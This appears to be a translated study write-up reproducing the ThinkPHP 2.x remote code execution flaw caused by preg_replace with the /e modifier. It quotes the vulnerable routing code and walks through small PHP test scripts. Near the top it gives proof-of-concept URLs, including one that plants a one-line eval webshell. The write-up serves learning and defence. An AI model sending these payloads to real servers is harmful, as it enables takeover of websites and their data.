ThinkPHP2.xの任意のコード実行の脆弱性
序文
この脆弱性を再現するのはこれが初めてですが、私の説明はあまり明確ではなく(論理的に少し混乱します)、記事の最後にある参照リンクは非常に明確です。
脆弱性の説明:
ThinkPHP 2.xバージョンでpreg_replace
は、/e
使用されるパターンマッチングルートは次のとおりです。
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
その結果、ユーザーの入力パラメーターが二重引用符で囲まれて実行され、任意のコード実行の脆弱性が発生します。
ThinkPHP 3.0バージョンにはこの脆弱性があります。これは、この脆弱性がLiteモードで修正されていないためです。
脆弱性の再発
POC
/index.php?s=/index/index/name/${
@phpinfo()}
1文のトロイの木馬を実行します。
/index.php?s=/index/index/name/${
@print(eval($_POST[1]))}
原因分析:
preg_replace関数は、正規表現の検索と置換を実行します。
文法:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
件名のパターンに一致する部分を検索し、交換してください。
ただし、/ eモードでは、置き換えられた文字はコードとして実行されます。
@と/は同じ効果があります。PHP7以降では/ eの変更はサポートされなくなりました。
コード分析:
// 分析PATHINFO信息
self::getPathInfo();
if(!self::routerCheck()){
// 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {
// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
最初のif判定では、ルーティングルールがない場合、デフォルトのルールが使用されます。これは$ resを実行することです。
$ varは配列であり、その操作は\$var[\'\\1\']="\\2";
、最初の値がキーで、2番目の値が値であることを意味します。
w +は、1つ以上の数字、文字、およびアンダースコアに一致します。
したがって、3番目のパラメータが制御可能な場合、悪意のあるコードが挿入される可能性があります。
PHPでは、$ {}は変数を作成でき、{}は通常の文字を書き込みます。その後、変数として扱われます。たとえば、$ {a}は$ aと同等であり、{}が既存の文字を書き込む場合は関数の名前?その後、この関数が実行されます。
ルートが定義されていないThinkPHP5.1の一般的なURLアクセスルールは次のとおりです
。http://serverName/index.php(または他のアプリケーションエントリファイル)/ module / controller / operation / [パラメータ名/パラメータ値...]
サーバーの場合PATHINFOをサポートしないものは、互換モードで次のようにアクセスできます
。http://serverName/index.php(または他のアプリケーションエントリファイル)?s = / module / controller / operation / [パラメータ名/パラメータ値...]
参照:
ThinkPHP2.xThinkPHPシリーズの脆弱性の任意のコード実行
一生懸命勉強します。
主に規則性を分析します、結局のところ、それは抜け穴が存在する場所です:
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
[bbbGoodGoodStudybbb]
変数bのaaaの間の部分は、変数aの値に置き換えられます。
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test()';
$b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
This func is run .[bbbbbb]
変数aは関数です。通常の置換では、置換されるべきであったhellordwordが実際に置換されますが、値はありません。
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test("\1")';
$b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
This func is run helloworld .[bbbbbb]
パラメータ「\ 1」を変数aの関数テストに渡すと、置き換えられる必要のある部分、つまりhellowordが代わりにパラメータとして渡されます。
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test("\1")';
$b='aaa$caaa';
$c="CXK";
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
This func is run CXK .
制御可能なパラメーターbを介して、変数cがに渡されます。
個人的な理解:置き換えられる正規表現の元の位置は、格納する配列によって異なります。テストで渡される「\ 1」は、配列内の要素を取り出すことと同じです(配列はあまり適切ではないため、配列は0から始まります)、パラメータの転送を実行しました。
それを試してみてください:
確かに。
そうすれば、このことは簡単に理解できます:$ var ['\ 1'] = "\ 2"
置き換えられる最初のデータ、最初のデータはキーに与えられ、2番目のデータは値に与えられます(前に言ったようですが、ここで理解しています)。
制御可能な位置はimplode($ depr、$ paths)で、implode()は配列を文字列に変換します。
この時点で、私はほとんど理解しました(私はほとんど理解しました、ハハ)。